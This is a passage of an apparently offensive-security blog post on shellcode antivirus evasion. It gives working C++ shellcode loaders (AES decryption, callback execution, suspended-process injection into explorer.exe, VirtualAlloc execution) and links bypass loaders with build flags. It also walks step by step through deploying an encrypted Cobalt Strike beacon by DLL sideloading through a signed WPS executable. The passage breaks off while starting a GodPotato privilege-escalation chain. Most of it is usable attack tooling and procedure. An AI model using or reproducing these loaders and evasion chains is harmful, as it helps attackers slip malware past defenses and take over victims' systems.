</span></span><span class="line"><span class="cl">        <span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">iv</span><span class="p">[</span><span class="mi">16</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="sc">&#39;0&#39;</span><span class="p">,</span><span class="sc">&#39;1&#39;</span><span class="p">,</span><span class="sc">&#39;2&#39;</span><span class="p">,</span><span class="sc">&#39;3&#39;</span><span class="p">,</span><span class="sc">&#39;4&#39;</span><span class="p">,</span><span class="sc">&#39;5&#39;</span><span class="p">,</span><span class="sc">&#39;6&#39;</span><span class="p">,</span><span class="sc">&#39;7&#39;</span><span class="p">,</span><span class="sc">&#39;8&#39;</span><span class="p">,</span><span class="sc">&#39;9&#39;</span><span class="p">,</span><span class="sc">&#39;a&#39;</span><span class="p">,</span><span class="sc">&#39;b&#39;</span><span class="p">,</span><span class="sc">&#39;c&#39;</span><span class="p">,</span><span class="sc">&#39;d&#39;</span><span class="p">,</span><span class="sc">&#39;e&#39;</span><span class="p">,</span><span class="sc">&#39;f&#39;</span>
</span></span><span class="line"><span class="cl">        <span class="p">};</span>
</span></span><span class="line"><span class="cl">        <span class="c1">// Ciphertext is padded; originSize MUST be the Original Shellcode Size printed by the encryptor
</span></span></span><span class="line"><span class="cl">        <span class="n">DWORD</span> <span class="n">originSize</span> <span class="o">=</span> <span class="mi">36999</span><span class="p">;</span>  <span class="c1">// example only—replace with your value
</span></span></span><span class="line"><span class="cl">        <span class="kt">unsigned</span> <span class="kt">char</span><span class="o">*</span> <span class="n">ushellcode</span> <span class="o">=</span> <span class="k">reinterpret_cast</span><span class="o">&lt;</span><span class="kt">unsigned</span> <span class="kt">char</span><span class="o">*&gt;</span><span class="p">(</span><span class="n">shellcode</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="k">struct</span> <span class="nc">AES_ctx</span> <span class="n">ctx</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="n">AES_init_ctx_iv</span><span class="p">(</span><span class="o">&amp;</span><span class="n">ctx</span><span class="p">,</span> <span class="n">key</span><span class="p">,</span> <span class="n">iv</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="c1">// size must be a multiple of 16 (matches Python pad output)
</span></span></span><span class="line"><span class="cl">        <span class="n">AES_CBC_decrypt_buffer</span><span class="p">(</span><span class="o">&amp;</span><span class="n">ctx</span><span class="p">,</span> <span class="n">ushellcode</span><span class="p">,</span> <span class="n">size</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="n">DWORD</span> <span class="n">dwOldPro</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="n">VirtualProtect</span><span class="p">(</span><span class="n">ushellcode</span><span class="p">,</span> <span class="n">originSize</span><span class="p">,</span> <span class="n">PAGE_EXECUTE_READWRITE</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">dwOldPro</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="n">EnumUILanguages</span><span class="p">((</span><span class="n">UILANGUAGE_ENUMPROC</span><span class="p">)(</span><span class="kt">char</span><span class="o">*</span><span class="p">)</span><span class="n">ushellcode</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="c1">// Do not delete[] if shellcode stays resident (e.g. beacon)
</span></span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span></span></span></code></pre></div></div>
<h3 id="23-rsa">2.3 RSA</h3>
<p>Reference: <a href="https://mp.weixin.qq.com/s/jkdQwRzmNGmCJztN4KBztw" target="_blank" rel="noopener noreffer ">RSA shellcode encryption (WeChat article)</a></p>
<h2 id="3-loading-techniques">3. Loading Techniques</h2>
<h3 id="31-virtualprotect--callback-execution">3.1 VirtualProtect + callback execution</h3>
<div class="details admonition note open">
    <div class="details-summary admonition-title">
        <i class="icon far fa-pen-to-square" aria-hidden="true"></i>Callback execution<i class="details-icon fas fa-angle-right" aria-hidden="true"></i>
    </div>
    <div class="details-content">
        <div class="admonition-content">APIs like <code>EnumUILanguages</code> invoke shellcode as a callback. Arguments are passed; most PIC shellcode ignores them. If the payload stays resident (beacon), <strong>do not</strong> <code>delete[]</code> / <code>free</code> that buffer afterward.</div>
    </div>
</div>
<div class="code-block code-line-numbers open" style="counter-reset: code-block 0">
    <div class="code-header language-cpp">
        <span class="code-title"><i class="arrow fas fa-angle-right" aria-hidden="true"></i></span>
        <span class="ellipses"><i class="fas fa-ellipsis-h" aria-hidden="true"></i></span>
        <span class="copy" title="Copy to clipboard"><i class="far fa-copy" aria-hidden="true"></i></span>
    </div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-cpp" data-lang="cpp"><span class="line"><span class="cl"><span class="kt">char</span><span class="o">*</span> <span class="n">shellcode</span> <span class="o">=</span> <span class="p">...;</span>
</span></span><span class="line"><span class="cl"><span class="n">DWORD</span> <span class="n">size</span> <span class="o">=</span> <span class="p">...;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">DWORD</span> <span class="n">dwOldPro</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="n">VirtualProtect</span><span class="p">(</span><span class="n">shellcode</span><span class="p">,</span> <span class="n">size</span><span class="p">,</span> <span class="n">PAGE_EXECUTE_READWRITE</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">dwOldPro</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="n">EnumUILanguages</span><span class="p">((</span><span class="n">UILANGUAGE_ENUMPROC</span><span class="p">)</span><span class="n">shellcode</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="c1">// Resident shellcode: do not free here
</span></span></span></code></pre></div></div>
<h3 id="32-suspended-process-injection-傀儡进程">3.2 Suspended-process injection (傀儡进程)</h3>
<blockquote>
<p>Flow: create suspended process → remote alloc/write shellcode → <code>SetThreadContext</code> to change entry → resume.<br>
This is <strong>not</strong> classic Process Hollowing (unmap original image and replace the PE).</p>
</blockquote>
<div class="details admonition warning open">
    <div class="details-summary admonition-title">
        <i class="icon fas fa-exclamation" aria-hidden="true"></i>AV differences<i class="details-icon fas fa-angle-right" aria-hidden="true"></i>
    </div>
    <div class="details-content">
        <div class="admonition-content">Does not evade Avast in testing; did evade Windows Defender. Sample below is <strong>x86</strong> (<code>Eip</code>); on x64 use <code>Rip</code> and a same-arch target process.</div>
    </div>
</div>
<div class="code-block code-line-numbers open" style="counter-reset: code-block 0">
    <div class="code-header language-cpp">
        <span class="code-title"><i class="arrow fas fa-angle-right" aria-hidden="true"></i></span>
        <span class="ellipses"><i class="fas fa-ellipsis-h" aria-hidden="true"></i></span>
        <span class="copy" title="Copy to clipboard"><i class="far fa-copy" aria-hidden="true"></i></span>
    </div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-cpp" data-lang="cpp"><span class="line"><span class="cl"><span class="kt">char</span><span class="o">*</span> <span class="n">shellcode</span> <span class="o">=</span> <span class="p">...;</span>
</span></span><span class="line"><span class="cl"><span class="n">DWORD</span> <span class="n">size</span> <span class="o">=</span> <span class="p">...;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">PROCESS_INFORMATION</span> <span class="n">ProcessInformation</span> <span class="o">=</span> <span class="p">{};</span>
</span></span><span class="line"><span class="cl"><span class="n">STARTUPINFOA</span> <span class="n">StartupInfo</span> <span class="o">=</span> <span class="p">{};</span>
</span></span><span class="line"><span class="cl"><span class="kt">void</span><span class="o">*</span> <span class="n">remote</span> <span class="o">=</span> <span class="k">nullptr</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="n">CONTEXT</span> <span class="n">Context</span> <span class="o">=</span> <span class="p">{};</span>
</span></span><span class="line"><span class="cl"><span class="n">DWORD</span> <span class="n">DwWrite</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">StartupInfo</span><span class="p">.</span><span class="n">cb</span> <span class="o">=</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">StartupInfo</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">// CREATE_SUSPENDED; command line must be a writable buffer (not a string literal)
</span></span></span><span class="line"><span class="cl"><span class="kt">char</span> <span class="n">cmdLine</span><span class="p">[]</span> <span class="o">=</span> <span class="s">&#34;C:</span><span class="se">\\</span><span class="s">Windows</span><span class="se">\\</span><span class="s">explorer.exe&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="n">BOOL</span> <span class="n">result</span> <span class="o">=</span> <span class="n">CreateProcessA</span><span class="p">(</span>
</span></span><span class="line"><span class="cl">    <span class="k">nullptr</span><span class="p">,</span> <span class="n">cmdLine</span><span class="p">,</span> <span class="k">nullptr</span><span class="p">,</span> <span class="k">nullptr</span><span class="p">,</span> <span class="n">FALSE</span><span class="p">,</span> <span class="n">CREATE_SUSPENDED</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="k">nullptr</span><span class="p">,</span> <span class="k">nullptr</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">StartupInfo</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">ProcessInformation</span>
</span></span><span class="line"><span class="cl"><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="p">(</span><span class="n">result</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">Context</span><span class="p">.</span><span class="n">ContextFlags</span> <span class="o">=</span> <span class="n">CONTEXT_FULL</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="n">GetThreadContext</span><span class="p">(</span><span class="n">ProcessInformation</span><span class="p">.</span><span class="n">hThread</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">Context</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">remote</span> <span class="o">=</span> <span class="n">VirtualAllocEx</span><span class="p">(</span>
</span></span><span class="line"><span class="cl">        <span class="n">ProcessInformation</span><span class="p">.</span><span class="n">hProcess</span><span class="p">,</span> <span class="k">nullptr</span><span class="p">,</span> <span class="n">size</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="n">MEM_COMMIT</span> <span class="o">|</span> <span class="n">MEM_RESERVE</span><span class="p">,</span> <span class="n">PAGE_EXECUTE_READWRITE</span>
</span></span><span class="line"><span class="cl">    <span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">WriteProcessMemory</span><span class="p">(</span><span class="n">ProcessInformation</span><span class="p">.</span><span class="n">hProcess</span><span class="p">,</span> <span class="n">remote</span><span class="p">,</span> <span class="n">shellcode</span><span class="p">,</span> <span class="n">size</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">DwWrite</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">Context</span><span class="p">.</span><span class="n">Eip</span> <span class="o">=</span> <span class="p">(</span><span class="n">DWORD</span><span class="p">)(</span><span class="n">uintptr_t</span><span class="p">)</span><span class="n">remote</span><span class="p">;</span>  <span class="c1">// x86 only
</span></span></span><span class="line"><span class="cl">    <span class="n">SetThreadContext</span><span class="p">(</span><span class="n">ProcessInformation</span><span class="p">.</span><span class="n">hThread</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">Context</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">ResumeThread</span><span class="p">(</span><span class="n">ProcessInformation</span><span class="p">.</span><span class="n">hThread</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">CloseHandle</span><span class="p">(</span><span class="n">ProcessInformation</span><span class="p">.</span><span class="n">hThread</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">CloseHandle</span><span class="p">(</span><span class="n">ProcessInformation</span><span class="p">.</span><span class="n">hProcess</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">delete</span><span class="p">[]</span> <span class="n">shellcode</span><span class="p">;</span></span></span></code></pre></div></div>
<h3 id="33-virtualalloc--direct-call">3.3 VirtualAlloc + direct call</h3>
<div class="code-block code-line-numbers open" style="counter-reset: code-block 0">
    <div class="code-header language-cpp">
        <span class="code-title"><i class="arrow fas fa-angle-right" aria-hidden="true"></i></span>
        <span class="ellipses"><i class="fas fa-ellipsis-h" aria-hidden="true"></i></span>
        <span class="copy" title="Copy to clipboard"><i class="far fa-copy" aria-hidden="true"></i></span>
    </div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-cpp" data-lang="cpp"><span class="line"><span class="cl"><span class="kt">char</span><span class="o">*</span> <span class="n">shellcode</span> <span class="o">=</span> <span class="p">...;</span>
</span></span><span class="line"><span class="cl"><span class="n">DWORD</span> <span class="n">size</span> <span class="o">=</span> <span class="p">...;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">LPVOID</span> <span class="n">allocatedMemory</span> <span class="o">=</span> <span class="n">VirtualAlloc</span><span class="p">(</span>
</span></span><span class="line"><span class="cl">    <span class="nb">NULL</span><span class="p">,</span> <span class="n">size</span><span class="p">,</span> <span class="n">MEM_COMMIT</span> <span class="o">|</span> <span class="n">MEM_RESERVE</span><span class="p">,</span> <span class="n">PAGE_EXECUTE_READWRITE</span>
</span></span><span class="line"><span class="cl"><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="p">(</span><span class="n">allocatedMemory</span> <span class="o">==</span> <span class="nb">NULL</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">delete</span><span class="p">[]</span> <span class="n">shellcode</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">memcpy</span><span class="p">(</span><span class="n">allocatedMemory</span><span class="p">,</span> <span class="n">shellcode</span><span class="p">,</span> <span class="n">size</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="kt">void</span><span class="p">(</span><span class="o">*</span><span class="n">shellcodeFunction</span><span class="p">)()</span> <span class="o">=</span> <span class="p">(</span><span class="kt">void</span><span class="p">(</span><span class="o">*</span><span class="p">)())</span><span class="n">allocatedMemory</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="n">shellcodeFunction</span><span class="p">();</span>
</span></span><span class="line"><span class="cl"><span class="c1">// Resident shellcode: do not VirtualFree(allocatedMemory, ...)
</span></span></span></code></pre></div></div>
<h2 id="4-off-the-shelf-loaders">4. Off-the-Shelf Loaders</h2>
<table>
	<thead>
			<tr>
					<th>Tool</th>
					<th>Notes</th>
			</tr>
	</thead>
	<tbody>
			<tr>
					<td><a href="https://github.com/INotGreen/Gllloader" target="_blank" rel="noopener noreffer ">Gllloader</a></td>
					<td>C/C++, C#, Nim, PowerShell loaders</td>
			</tr>
			<tr>
					<td><a href="https://github.com/Pizz33/GobypassAV-shellcode" target="_blank" rel="noopener noreffer ">GobypassAV-shellcode</a></td>
					<td>Go shellcode loader (results vary by AV version; verify yourself)</td>
			</tr>
	</tbody>
</table>
<div class="details admonition tip open">
    <div class="details-summary admonition-title">
        <i class="icon far fa-lightbulb" aria-hidden="true"></i>Field note<i class="details-icon fas fa-angle-right" aria-hidden="true"></i>
    </div>
    <div class="details-content">
        <div class="admonition-content">In one test, remote loading evaded Defender (2023-07-13); treat as a snapshot, not a lasting claim.</div>
    </div>
</div>
<p><strong>Recommended Go build (smaller footprint):</strong></p>
<div class="code-block code-line-numbers open" style="counter-reset: code-block 0">
    <div class="code-header language-bash">
        <span class="code-title"><i class="arrow fas fa-angle-right" aria-hidden="true"></i></span>
        <span class="ellipses"><i class="fas fa-ellipsis-h" aria-hidden="true"></i></span>
        <span class="copy" title="Copy to clipboard"><i class="far fa-copy" aria-hidden="true"></i></span>
    </div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="nv">CGO_ENABLED</span><span class="o">=</span><span class="m">0</span> <span class="nv">GOOS</span><span class="o">=</span>windows <span class="nv">GOARCH</span><span class="o">=</span>amd64 go build -ldflags<span class="o">=</span><span class="s2">&#34;-w -s -H windowsgui&#34;</span> -o out.exe</span></span></code></pre></div></div>
<p><strong>Default build (more likely to be flagged):</strong></p>
<div class="code-block code-line-numbers open" style="counter-reset: code-block 0">
    <div class="code-header language-bash">
        <span class="code-title"><i class="arrow fas fa-angle-right" aria-hidden="true"></i></span>
        <span class="ellipses"><i class="fas fa-ellipsis-h" aria-hidden="true"></i></span>
        <span class="copy" title="Copy to clipboard"><i class="far fa-copy" aria-hidden="true"></i></span>
    </div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="nv">GOOS</span><span class="o">=</span>windows <span class="nv">GOARCH</span><span class="o">=</span>amd64 go build</span></span></code></pre></div></div>
<h2 id="5-case-studies">5. Case Studies</h2>
<h3 id="51-cs-shellcode--encryption--dll-sideloading">5.1 CS Shellcode + Encryption + DLL Sideloading</h3>
<p>Typical chain: <strong>CS shellcode → XOR to disk → malicious DLL decrypts &amp; runs → signed EXE triggers load</strong>.</p>
<div class="mermaid" id="id-5">flowchart TD
    A[&#34;Cobalt Strike C shellcode&#34;] --&gt; B[&#34;Save as .bin&#34;]
    B --&gt; C[&#34;ShellcodeEncrypt.py XOR&#34;]
    C --&gt; D[&#34;Encrypted file&lt;br/&gt;e.g. et.dat&#34;]
    E[&#34;Find signed EXE (e.g. WPS et.exe)&#34;] --&gt; F[&#34;AheadLib parses original DLL&#34;]
    F --&gt; G[&#34;VS malicious DLL&lt;br/&gt;read → decrypt → execute&#34;]
    D --&gt; G
    G --&gt; H[&#34;Deploy together&lt;br/&gt;signed EXE &#43; DLL &#43; encrypted file&#34;]
    H --&gt; I[&#34;Run signed EXE → callback&#34;]</div>
<p>See <a href="https://blog.leeissonba.com/posts/windows-dll-hijacking-analysis/" target="_blank" rel="noopener noreffer ">Windows DLL Hijacking Analysis</a> for hijacking mechanics.</p>
<h4 id="step-1-find-a-suitable-signed-exe">Step 1: Find a suitable signed EXE</h4>
<p>WPS <code>et.exe</code> depends on a co-located DLL—drop a malicious DLL with the same name to hijack loading.</p>
<p><figure><a class="lightgallery" href="/images/posts/shellcode-evasion-loading-workflow/01-wps-white-exe.png" title="/images/posts/shellcode-evasion-loading-workflow/01-wps-white-exe.png" data-thumbnail="/images/posts/shellcode-evasion-loading-workflow/01-wps-white-exe.png" data-sub-html="<h2>Signed EXE example (WPS)</h2>">
        <img src="https://blog.leeissonba.com/images/posts/shellcode-evasion-loading-workflow/01-wps-white-exe.png" alt="" referrerpolicy="no-referrer">
    </a><figcaption class="image-caption">Signed EXE example (WPS)</figcaption>
    </figure>
<figure><a class="lightgallery" href="/images/posts/shellcode-evasion-loading-workflow/02-wps-dll-deps.png" title="/images/posts/shellcode-evasion-loading-workflow/02-wps-dll-deps.png" data-thumbnail="/images/posts/shellcode-evasion-loading-workflow/02-wps-dll-deps.png" data-sub-html="<h2>DLL dependency</h2>">
        <img src="https://blog.leeissonba.com/images/posts/shellcode-evasion-loading-workflow/02-wps-dll-deps.png" alt="" referrerpolicy="no-referrer">
    </a><figcaption class="image-caption">DLL dependency</figcaption>
    </figure></p>
<h4 id="step-2-build-the-malicious-dll">Step 2: Build the malicious DLL</h4>
<ol>
<li>Parse the original DLL with <strong>AheadLib</strong></li>
</ol>
<p><figure><a class="lightgallery" href="/images/posts/shellcode-evasion-loading-workflow/03-aheadlib-1.png" title="/images/posts/shellcode-evasion-loading-workflow/03-aheadlib-1.png" data-thumbnail="/images/posts/shellcode-evasion-loading-workflow/03-aheadlib-1.png" data-sub-html="<h2>AheadLib DLL parse</h2>">
        <img src="https://blog.leeissonba.com/images/posts/shellcode-evasion-loading-workflow/03-aheadlib-1.png" alt="" referrerpolicy="no-referrer">
    </a><figcaption class="image-caption">AheadLib DLL parse</figcaption>
    </figure>
<figure><a class="lightgallery" href="/images/posts/shellcode-evasion-loading-workflow/04-aheadlib-2.png" title="/images/posts/shellcode-evasion-loading-workflow/04-aheadlib-2.png" data-thumbnail="/images/posts/shellcode-evasion-loading-workflow/04-aheadlib-2.png" data-sub-html="<h2>Generated export stubs</h2>">
        <img src="https://blog.leeissonba.com/images/posts/shellcode-evasion-loading-workflow/04-aheadlib-2.png" alt="" referrerpolicy="no-referrer">
    </a><figcaption class="image-caption">Generated export stubs</figcaption>
    </figure></p>
<ol start="2">
<li>Create a VS DLL project and import the generated code</li>
</ol>
<p><figure><a class="lightgallery" href="/images/posts/shellcode-evasion-loading-workflow/05-vs-dll-project-1.png" title="/images/posts/shellcode-evasion-loading-workflow/05-vs-dll-project-1.png" data-thumbnail="/images/posts/shellcode-evasion-loading-workflow/05-vs-dll-project-1.png" data-sub-html="<h2>New VS DLL project</h2>">
        <img src="https://blog.leeissonba.com/images/posts/shellcode-evasion-loading-workflow/05-vs-dll-project-1.png" alt="" referrerpolicy="no-referrer">
    </a><figcaption class="image-caption">New VS DLL project</figcaption>
    </figure>
<figure><a class="lightgallery" href="/images/posts/shellcode-evasion-loading-workflow/06-vs-dll-project-2.png" title="/images/posts/shellcode-evasion-loading-workflow/06-vs-dll-project-2.png" data-thumbnail="/images/posts/shellcode-evasion-loading-workflow/06-vs-dll-project-2.png" data-sub-html="<h2>Import AheadLib output</h2>">
        <img src="https://blog.leeissonba.com/images/posts/shellcode-evasion-loading-workflow/06-vs-dll-project-2.png" alt="" referrerpolicy="no-referrer">
    </a><figcaption class="image-caption">Import AheadLib output</figcaption>
    </figure></p>
<ol start="3">
<li>In an export or a <strong>deferred</strong> path: <strong>read encrypted file → XOR decrypt → execute</strong> (Sections 2–3)</li>
</ol>
<div class="details admonition warning open">
    <div class="details-summary admonition-title">
        <i class="icon fas fa-exclamation" aria-hidden="true"></i>Do not run heavy work in DllMain<i class="details-icon fas fa-angle-right" aria-hidden="true"></i>
    </div>
    <div class="details-content">
        <div class="admonition-content"><code>DllMain</code> (<code>DLL_PROCESS_ATTACH</code>) holds the loader lock—avoid loading the CLR, complex sync, or running GodPotato / donut .NET shellcode there. Common pattern: <code>CreateThread</code> to decrypt/execute on a new thread, or run from an export after <code>LoadLibrary</code> returns.</div>
    </div>
</div>
<ol start="4">
<li>Build settings:
<ul>
<li>asm file → Custom Build Tool</li>
<li>C/C++ → Code Generation → Runtime Library → <strong>/MT</strong></li>
<li>C/C++ → Precompiled Headers → <strong>Not Using</strong></li>
<li>Linker → Debugging → Generate Debug Info → <strong>No</strong></li>
<li>Platform must match the signed EXE (<strong>Win32 / x64</strong>)</li>
</ul>
</li>
</ol>
<h4 id="step-3-generate-and-encrypt-shellcode">Step 3: Generate and encrypt shellcode</h4>
<ol>
<li>Export C-format via <strong>Payload Generator</strong>, then convert to raw <code>.bin</code> for the encryptor</li>
</ol>
<figure><a class="lightgallery" href="/images/posts/shellcode-evasion-loading-workflow/07-cs-shellcode.png" title="/images/posts/shellcode-evasion-loading-workflow/07-cs-shellcode.png" data-thumbnail="/images/posts/shellcode-evasion-loading-workflow/07-cs-shellcode.png" data-sub-html="<h2>CS C-format shellcode</h2>">
        <img src="https://blog.leeissonba.com/images/posts/shellcode-evasion-loading-workflow/07-cs-shellcode.png" alt="" referrerpolicy="no-referrer">
    </a><figcaption class="image-caption">CS C-format shellcode</figcaption>
    </figure>
<ol start="2">
<li>XOR encrypt; save under the <strong>exact filename</strong> your DLL expects</li>
</ol>
<div class="details admonition note open">
    <div class="details-summary admonition-title">
        <i class="icon far fa-pen-to-square" aria-hidden="true"></i>Filename contract<i class="details-icon fas fa-angle-right" aria-hidden="true"></i>
    </div>
    <div class="details-content">
        <div class="admonition-content"><p>Section 2’s sample rewrites the host EXE extension to <code>.dat</code> via <code>GetModuleFileName</code> (e.g. <code>et.exe</code> → <code>et.dat</code>). If the DLL hardcodes <code>xx.ini</code>, the ciphertext must be named <code>xx.ini</code>. Mismatch → read failure.</p>
<p>XOR with the <strong>same</strong> key an <strong>even</strong> number of times is a no-op; an <strong>odd</strong> count equals one pass. Multi-layer XOR needs <strong>different</strong> keys and reverse-order decrypt.</p>
</div>
    </div>
</div>
<figure><a class="lightgallery" href="/images/posts/shellcode-evasion-loading-workflow/08-xor-encrypt.png" title="/images/posts/shellcode-evasion-loading-workflow/08-xor-encrypt.png" data-thumbnail="/images/posts/shellcode-evasion-loading-workflow/08-xor-encrypt.png" data-sub-html="<h2>XOR-encrypted output</h2>">
        <img src="https://blog.leeissonba.com/images/posts/shellcode-evasion-loading-workflow/08-xor-encrypt.png" alt="" referrerpolicy="no-referrer">
    </a><figcaption class="image-caption">XOR-encrypted output</figcaption>
    </figure>
<div class="code-block code-line-numbers open" style="counter-reset: code-block 0">
    <div class="code-header language-bash">
        <span class="code-title"><i class="arrow fas fa-angle-right" aria-hidden="true"></i></span>
        <span class="ellipses"><i class="fas fa-ellipsis-h" aria-hidden="true"></i></span>
        <span class="copy" title="Copy to clipboard"><i class="far fa-copy" aria-hidden="true"></i></span>
    </div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">python3 ShellcodeEncrypt.py payload.bin et.dat</span></span></code></pre></div></div>
<h4 id="step-4-deploy">Step 4: Deploy</h4>
<p>Place <strong>signed EXE + malicious DLL + encrypted shellcode</strong> in the same directory and run the signed EXE.</p>
<figure><a class="lightgallery" href="/images/posts/shellcode-evasion-loading-workflow/09-deploy.png" title="/images/posts/shellcode-evasion-loading-workflow/09-deploy.png" data-thumbnail="/images/posts/shellcode-evasion-loading-workflow/09-deploy.png" data-sub-html="<h2>Co-located deployment</h2>">
        <img src="https://blog.leeissonba.com/images/posts/shellcode-evasion-loading-workflow/09-deploy.png" alt="" referrerpolicy="no-referrer">
    </a><figcaption class="image-caption">Co-located deployment</figcaption>
    </figure>
<div class="details admonition note open">
    <div class="details-summary admonition-title">
        <i class="icon far fa-pen-to-square" aria-hidden="true"></i>Go DLL<i class="details-icon fas fa-angle-right" aria-hidden="true"></i>
    </div>
    <div class="details-content">
        <div class="admonition-content">In a Go DLL you can kick off work from <code>init()</code>, but avoid heavy work under the loader lock—prefer <code>init()</code> only starting a goroutine/thread, with decrypt/execute in that worker. Also mind the Go runtime and c-shared export setup.</div>
    </div>
</div>
<div class="code-block code-line-numbers open" style="counter-reset: code-block 0">
    <div class="code-header language-go">
        <span class="code-title"><i class="arrow fas fa-angle-right" aria-hidden="true"></i></span>
        <span class="ellipses"><i class="fas fa-ellipsis-h" aria-hidden="true"></i></span>
        <span class="copy" title="Copy to clipboard"><i class="far fa-copy" aria-hidden="true"></i></span>
    </div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-go" data-lang="go"><span class="line"><span class="cl"><span class="kd">func</span><span class="w"> </span><span class="nf">init</span><span class="p">()</span><span class="w"> </span><span class="p">{</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="c1">// Prefer: go func() { read .dat → decrypt → execute }()</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="c1">// Do not synchronously run CLR-heavy logic in init</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="p">}</span></span></span></code></pre></div></div>
<h3 id="52-godpotato--dll-sideloading">5.2 GodPotato + DLL Sideloading</h3>
<p>Project: <a href="https://github.com/BeichenDream/GodPotato" target="_blank" rel="noopener noreffer ">GodPotato</a></p>
<p><strong>Chain:</strong> in a session that <strong>already meets potato prerequisites</strong>, sideload runs GodPotato shellcode → GodPotato elevates to SYSTEM → starts beacon.</p>
<div class="details admonition warning open">
    <div class="details-summary admonition-title">
        <i class="icon fas fa-exclamation" aria-hidden="true"></i>GodPotato prerequisites<i class="details-icon fas fa-angle-right" aria-hidden="true"></i>
    </div>
    <div class="details-content">
        <div class="admonition-content">GodPotato needs <strong>SeImpersonatePrivilege</strong> on the current token (common for service accounts, IIS app pools, SQL Server agent, etc.). A normal desktop user double-clicking <code>et.exe</code> <strong>usually cannot</strong> reach SYSTEM. Sideloading solves delivery/execution, not unconditional privilege escalation.</div>
    </div>
</div>
<div class="details admonition tip open">
    <div class="details-summary admonition-title">
        <i class="icon far fa-lightbulb" aria-hidden="true"></i>Roles<i class="details-icon fas fa-angle-right" aria-hidden="true"></i>
    </div>
    <div class="details-content">
        <div class="admonition-content"><ul>
<li><strong>Sideload package (<code>et.exe</code> + malicious DLL + <code>et.dat</code>)</strong>: decrypts and runs GodPotato shellcode in the current (SeImpersonate-capable) context.</li>
<li><strong>GodPotato <code>cmd</code></strong>: points at <strong>beacon</strong> (or another payload to run as SYSTEM)—<strong>not</strong> the same <code>et.exe</code>.</li>
<li><strong>donut’d GodPotato</strong>: CLR/.NET loader shellcode—run outside DllMain (e.g. <code>CreateThread</code>); see §5.1.</li>
</ul>
</div>
    </div>
</div>
<div class="mermaid" id="id-6">flowchart TD
    A[&#34;Patch GodPotato: hardcode beacon path&#34;] --&gt; B[&#34;Build newgod.exe&#34;]
    B --&gt; C[&#34;donut → loader.bin&#34;]
    C --&gt; D[&#34;ShellcodeEncrypt.py&#34;]
